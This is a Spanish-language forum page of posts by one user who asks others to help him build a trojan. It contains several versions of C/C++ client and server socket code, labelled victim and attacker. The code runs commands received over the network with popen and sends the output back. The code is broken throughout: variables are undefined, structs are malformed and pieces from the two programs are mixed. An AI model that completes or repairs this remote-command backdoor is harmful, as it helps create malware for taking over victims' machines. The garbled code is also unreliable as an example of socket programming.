Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - TheSaint

#1

Muchas gracias, ya he corregido el error, gracias por tu aportacion. <3

#2

De verdad muchas gracias yo lo unico que quiero es entender al 100% el codigo, y para eso os pido ayuda, tambien investigo mucho sobre los sockets y todo, lo intento arreglar solo, pero mis conocimientos son muy basicos, ya que nunca he tenido nadie quien me enseñe nada, ni he tomado ningun curso, solo cursos online de cpp y python y investigar sobre penetracion. Bueno aqui os dejo el codigo bastante mas modificado que el anterior.

El primer codigo seria el cliente y el segudo seria el servidor. Quiero añadirle muchas cosas para que se parezca lo mejor possible a un troyano, voy a tener este proyecto activo durante mucho para acabar de redondearlo, y perfecionarlo bastante ya que quiero que sea un proyecto muy bueno.


Muchas gracias por vuestra ayuda de verdad se agradece mucho <3.



Código: text


#include <iostream>
#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netdb.h>
//definimos puerto abierto
#define port 9200
//definimos el maximo de datos
#define MAXDATASIZE 100


using namespace std;

int main(int argc, char *argv[])
{
//Ficheros descriptores
int bind (int socketfd, int numbytes, struct sockaddr *my_addr,int addrlen);
//Ponemos que es el host
char  *host = "localhost";
//Despues ponemos donde se almacenara el texto recibido i añadimos maximo
char buf[MAXDATASIZE];
/* Ahora procederemos ha construir la estructura
la cual recibiremos informacion sobre el nodo remoto*/
struct hostent *he;
{   
   char *h_name;                   /* El nombre oficial del nodo.               */
   char **h_aliases;               /* Lista de Alias.                           */
   int h_addrtype;                 /* Tipo de dirección del nodo.               */
   int h_length;                   /* Longitud de la dirección.                 */
   char **h_addr_list;             /* Lista de direcciones del nombre del       */
                                   /* servidor.                                 */
   #define h_addr  h_addr_list[0]  /* Dirección, para la compatibilidad con     */
                                   /* anteriores.                               */
};

/*hora procederemos a hacer la estructura sobre la direcciones
del servividor */
struct sockaddr_in server;
{
   short int sin_family;        /* Familia de la Dirección              */
   unsigned short int PORT;     /* Puerto                               */
   struct in_addr sin_addr;     /* Dirección de Internet                */
   unsigned char sin_zero[8];   /* Del mismo tamaño que struct sockaddr */
};

if (argc !=2) {
      /* esto es porque nuestro programa sólo necesitará un
      argumento, (la IP) */
      printf("Uso: %s <Dirección IP>\n",argv[0]);
      exit(-1);
   }

   if ((he=gethostbyname(argv[1]))==NULL){       
      /* llamada a gethostbyname() */
      printf("gethostbyname() error\n");
      exit(-1);
   }

   if ((socketfd=socket(PF_INET, SOCK_STREAM, 0))==-1){ 
      /* llamada a socket() */
      printf("socket() error\n");
      exit(-1);
   }

server.sin_family = PF_INET;
   server.sin_port = htons(port);
   /* htons() es necesaria nuevamente ;-o */
   server.sin_addr = *((struct in_addr *)he->h_addr); 
   /*he->h_addr pasa la información de ``*he'' a "h_addr" */
   bzero(&(server.sin_zero),8);

if(connect(socketfd, (struct sockaddr *)&server,
      sizeof(struct sockaddr))==-1){
      /* llamada a connect() */
      printf("connect() error\n");
      exit(-1);
   }

   if ((MAXDATASIZE=recv(socketfd,buf,MAXDATASIZE,0)) == -1){ 
      /* llamada a recv() */
      printf("Error en recv() \n");
      exit(-1);
   }

   buf[MAXDATASIZE]='\0';

   printf("Mensaje del Servidor: %s\n",buf);
   /* muestra el mensaje de bienvenida del servidor =) */

   int shutdown(sockfd);   /* cerramos fd =) */

}


Código: text


/* Estos son los ficheros de cabecera usuales */
#include <stdio.h>         
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define port 9200 /* El puerto que será abierto */
#define BACKLOG 2 /* El número de conexiones permitidas */
int main()
{
    int socket(int PF_INET, int SOCK_STREAM, int protocol = 0);

   int sockfd; /* los ficheros descriptores */
   int socketfd2;


   struct sockaddr_in server;
   /* para la información de la dirección del servidor */

   struct sockaddr_in client;
   /* para la información de la dirección del cliente */

   int sin_size;

   /* A continuación la llamada a socket() */
   if ((sockfd=socket(PF_INET, SOCK_STREAM, 0)) == -1 ) { 
      printf("error en socket()\n");
      exit(-1);
   }

   server.sin_family = PF_INET;         

   server.sin_port = htons(port);
   /* ¿Recuerdas a htons() de la sección "Conversiones"? =) */

   server.sin_addr.s_addr = INADDR_ANY;
   /* INADDR_ANY coloca nuestra dirección IP automáticamente */

   bzero(&(server.sin_zero),8);
   /* escribimos ceros en el reto de la estructura */


   /* A continuación la llamada a bind() */
   if(bind(sockfd,(struct sockaddr*)&server,
           sizeof(struct sockaddr))==-1) {
      printf("error en bind() \n");
      exit(-1);
   }     

   if(listen(sockfd,BACKLOG) == -1) {  /* llamada a listen() */
      printf("error en listen()\n");
      exit(-1);
   }

   while(1) {
      sin_size=sizeof(struct sockaddr_in);
      /* A continuación la llamada a accept() */
      if ((socketfd2 = accept(sockfd,(struct sockaddr *)&client,
                        &sin_size))==-1) {
         printf("error en accept()\n");
         exit(-1);
      }

      printf("Se obtuvo una conexión desde %s\n",
             inet_ntoa(client.sin_addr) ); T
      /* que mostrará la IP del cliente */

      send(socketfd2,"Bienvenido a mi servidor.\n",22,0);
      /* que enviará el mensaje de bienvenida al cliente */

     /* Limpiar la consola */
      system("cls");
   
   /* Ejecutar el comando enviado desde el servidor en el cliente */
   /* Obtener el resultado del comando para posteriormente enviarlo al servidor */
   FILE *msg = popen(serverMsg, "r");
   char buffer[2048];

   string resultado = "";


   while (!feof(msg))
   {
     if(fgets(buffer, 2048, msg) != NULL)
     {
      resultado += buffer;
     }
   }
   pclose(msg);
   
   /* Enviar el resultado de la consulta al servidor */
   send(socket, resultado.c_str(), 2048, 0);
   
   //Cerrar la conexión
   close(socket);
   //Llamar nuevamente a la función
   main();
  }
}



     close(socketfd2); /* cierra fd2 */
   
}
#3

Vale chicos ya lo he endcontrado, aqui debajo os lo dejo muchas gracias.


You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#4

Buenas, he probado de poner el ; en el codigo pero mi compilador me da mas errorres, es decir que el ; no hace falta al ser un define o eso creo, trabajo con visual studio code en linux, nose si eso es un problema a la hora de codficar.
En dudas generales y en el apartado de mi troyano, podreis ir al link i ver las imagenes las cuales salen los errores


Muchas gracias.
#5

Lo siento soy nuevo en este foro, nose como se hace para colgar fotos, he divagado por el foro y me sale que tengo que ir a una pagina y colgar las fotos ahi, despues pasar el link, pero nose, no me funciona, voy ha hacer una prueba por aqui a ver si la veis o no ok ? Lo siento mucho de verdad.







#6

Buenos dias Frijolito,

No tengo mucha experiencia en programacion, mejor dicho me estoy iniciando en esto, pero entiedo lo basico, bueno he visto tu codigo, nose ni con que codificas o como la haces, pero probablemente sea por el compilador o en la aplicacion la cual programas si no esta actualizada o otra cosa, he puesto en mi compliador y no me da errores, los consejos que te puedo dar es que revises e actualices el compilador, que revises las librerias, y tambien revisa la configuracion o que el archivo al cual quieres leerlo e modificarlo este  bien configurado, tb puede ser que tengas que espicificar la ruta del archivo al cual quieras leer e modificar o simplemente ponero en la misma carpeta, ya te digo que no soy ningun experto en esto, pero solo intento ayudar, tb en esto de la programacion tienes que investigar y ser muy cabezudo en acabar tu proyecto, intenta buscar e investigar sobre tu problema.

Mucha suerte con tu proyecto <3

#7

Hola chic@s,

Muchas gracias por daros la molestia de responder a mis posts, enserio, veo que tengo que trabajar mas en los puertos, pero si os fijais en mi codigo faltan cosas o almenos en mi compliador me detecta errores y me cuesta solucionarlos, poco a poco iré entendiendo e investigando, pero si os estais aburriendo o os apetece contestar perfecto, pero sino ni os inmuteis en mi "proyecto"


Muchas Gracias por vuestro tiempo y vuestra atención.
#8

Buenas gente, su puede ser, si alguien sabe algo mas puede deciremelo, me refiero a que no se acabe el hilo que si podeis aportar algo, sin dudarlo, escribirlo porfavor <3
#9
Muchas gracias,

te lo agradezco mucho por tus aportaciones y consejos, es genial poder tener una comunidad asi <3
#10
Muy Buenas Señores,

Estoy creando e informandome sobre troyanos i sockets, pero aun me faltan algunos conocimientos, necessito que alguien me ayude con mis codigos, alguien puede ayudarme porfavor??

este son los codigos:
el servidor ( en este caso e atacante )
Código: text
/* Estos son los ficheros de cabecera usuales */
#include <stdio.h>         
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 8080 /* El puerto que será abierto */
#define BACKLOG 2 /* El número de conexiones permitidas */

int main()
{
    int socket(int /*DOMAIN*/,int SOCK_STREAM,int /*Protocol*/);

   int fd, fd2; /* los ficheros descriptores */

   struct sockaddr_in server;
   /* para la información de la dirección del servidor */

   struct sockaddr_in client;
   /* para la información de la dirección del cliente */

   int sin_size;

   /* A continuación la llamada a socket() */
   if ((fd=socket(AF_INET, SOCK_STREAM, 0)) == -1 ) { 
      printf("error en socket()\n");
      exit(-1);
   }

   server.sin_family = AF_INET;         

   server.sin_port = htons(PORT);
   /* ¿Recuerdas a htons() de la sección "Conversiones"? =) */

   server.sin_addr.s_addr = INADDR_ANY;
   /* INADDR_ANY coloca nuestra dirección IP automáticamente */

   bzero(&(server.sin_zero),8);
   /* escribimos ceros en el reto de la estructura */


   /* A continuación la llamada a bind() */
   if(bind(fd,(struct sockaddr*)&server,
           sizeof(struct sockaddr))==-1) {
      printf("error en bind() \n");
      exit(-1);
   }     

   if(listen(fd,BACKLOG) == -1) {  /* llamada a listen() */
      printf("error en listen()\n");
      exit(-1);
   }

   while(1) {
      sin_size=sizeof(struct sockaddr_in);
      /* A continuación la llamada a accept() */
      if ((fd2 = accept(fd,(struct sockaddr *)&client,
                        &sin_size))==-1) {
         printf("error en accept()\n");
         exit(-1);
      }

      printf("Se obtuvo una conexión desde %s\n",
             inet_ntoa(client.sin_addr) );
      /* que mostrará la IP del cliente */

      send(fd2,"Bienvenido a mi servidor.\n",22,0);
      /* que enviará el mensaje de bienvenida al cliente */

     /* Limpiar la consola */
   system("cls");
   
   /* Ejecutar el comando enviado desde el servidor en el cliente */
   /* Obtener el resultado del comando para posteriormente enviarlo al servidor */
   FILE *msg = popen(serverMsg, "r");
   char buffer[2048];
   string resultado = "";
   while (!feof(msg))
   {
     if(fgets(buffer, 2048, msg) != NULL)
     {
      resultado += buffer;
     }
   }
   pclose(msg);
   
   /* Enviar el resultado de la consulta al servidor */
   send(socket, resultado.c_str(), 2048, 0);
   
   //Cerrar la conexión
   closesocket(sock);
   //Llamar nuevamente a la función
   main();
  }
}



      exit(fd2); /* cierra fd2 */
   }
}



y este es el codigo de el cliente ( en este caso la victima )

Código: text
#include <iostream>
#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netdb.h>
//definimos puerto abierto
#define PORT 8080
//definimos el maximo de datos
#define MAXDATASIZE 100


using namespace std;

int main(int argc, char *argv[])
{
//Ficheros descriptores
int bind (int fd, int numbytes, struct sockaddr *my_addr,int addrlen);
//Ponemos que es el host
char  *host = "localhost";
//Despues ponemos donde se almacenara el texto recibido i añadimos maximo
char buf[MAXDATASIZE];
/* Ahora procederemos ha construir la estructura
la cual recibiremos informacion sobre el nodo remoto*/
struct hostent *he;
{   
   char *h_name;                   /* El nombre oficial del nodo.               */
   char **h_aliases;               /* Lista de Alias.                           */
   int h_addrtype;                 /* Tipo de dirección del nodo.               */
   int h_length;                   /* Longitud de la dirección.                 */
   char **h_addr_list;             /* Lista de direcciones del nombre del       */
                                   /* servidor.                                 */
   #define h_addr  h_addr_list[0]  /* Dirección, para la compatibilidad con     */
                                   /* anteriores.                               */
};

/*hora procederemos a hacer la estructura sobre la direcciones
del servividor */
struct sockaddr_in server;
{
   short int sin_family;        /* Familia de la Dirección              */
   unsigned short int PORT;     /* Puerto                               */
   struct in_addr sin_addr;     /* Dirección de Internet                */
   unsigned char sin_zero[8];   /* Del mismo tamaño que struct sockaddr */
};

if (argc !=2) {
      /* esto es porque nuestro programa sólo necesitará un
      argumento, (la IP) */
      printf("Uso: %s <Dirección IP>\n",argv[0]);
      exit(-1);
   }

   if ((he=gethostbyname(argv[1]))==NULL){       
      /* llamada a gethostbyname() */
      printf("gethostbyname() error\n");
      exit(-1);
   }

   if ((fd=socket(AF_INET, SOCK_STREAM, 0))==-1){ 
      /* llamada a socket() */
      printf("socket() error\n");
      exit(-1);
   }

server.sin_family = AF_INET;
   server.sin_port = htons(PORT);
   /* htons() es necesaria nuevamente ;-o */
   server.sin_addr = *((struct in_addr *)he->h_addr); 
   /*he->h_addr pasa la información de ``*he'' a "h_addr" */
   bzero(&(server.sin_zero),8);

if(connect(fd, (struct sockaddr *)&server,
      sizeof(struct sockaddr))==-1){
      /* llamada a connect() */
      printf("connect() error\n");
      exit(-1);
   }

   if ((MAXDATASIZE=recv(fd,buf,MAXDATASIZE,0)) == -1){ 
      /* llamada a recv() */
      printf("Error en recv() \n");
      exit(-1);
   }

   buf[MAXDATASIZE]='\0';

   printf("Mensaje del Servidor: %s\n",buf);
   /* muestra el mensaje de bienvenida del servidor =) */

   int shutdown(fd);   /* cerramos fd =) */

}






Espero que me podais ayudar porfavor, Muchas gracias por vuestra atención.
#11
Hola Buenas, he estado investigando sobre los troyanos y la manera en que funcionan, y estoy creando uno, el problema es que las librerias y el codigo siempre me da error al compliarlo alguien me podria ayudar con el codigo ???

este es el codigo
Código: text

#include<iostream>
#include <cstdlib>
#include <winsock2.h>
#include <windows.h>



using namespace std;



int main(){

//LE INDICAMOS EL LOCALHOST
char * host ="localhost";
//LE INDICAMOS EL PUERTO
int port = 8080
/* Estructura de datos con información del winsock */
__MINGW_WSADATA_H;
/* Estructura de datos para especificar un servidor local o remoto para conectar un socket */
SOCKADDR_IN server;
/* Objeto que permite establecer conexiones locales o remotas e intercambiar datos */
SOCKET s, open_socket;
/* Inicializar winsock, comprobar versión 2.2 */
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
{
  cout << "Error: " << WSAGetLastError() << endl;                       
}
else
{
     
cout << "Inicializando ... " << endl;

/* Crear un socket */
if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
{
  cout << "No se pudo crear el socket: " << WSAGetLastError() << endl;       
}
else /* Se ha creado el socket */
{
     
cout << "Socket creado correctamente ... " << endl;

                       




















return 0;
}



Muchas Gracias por tu atención.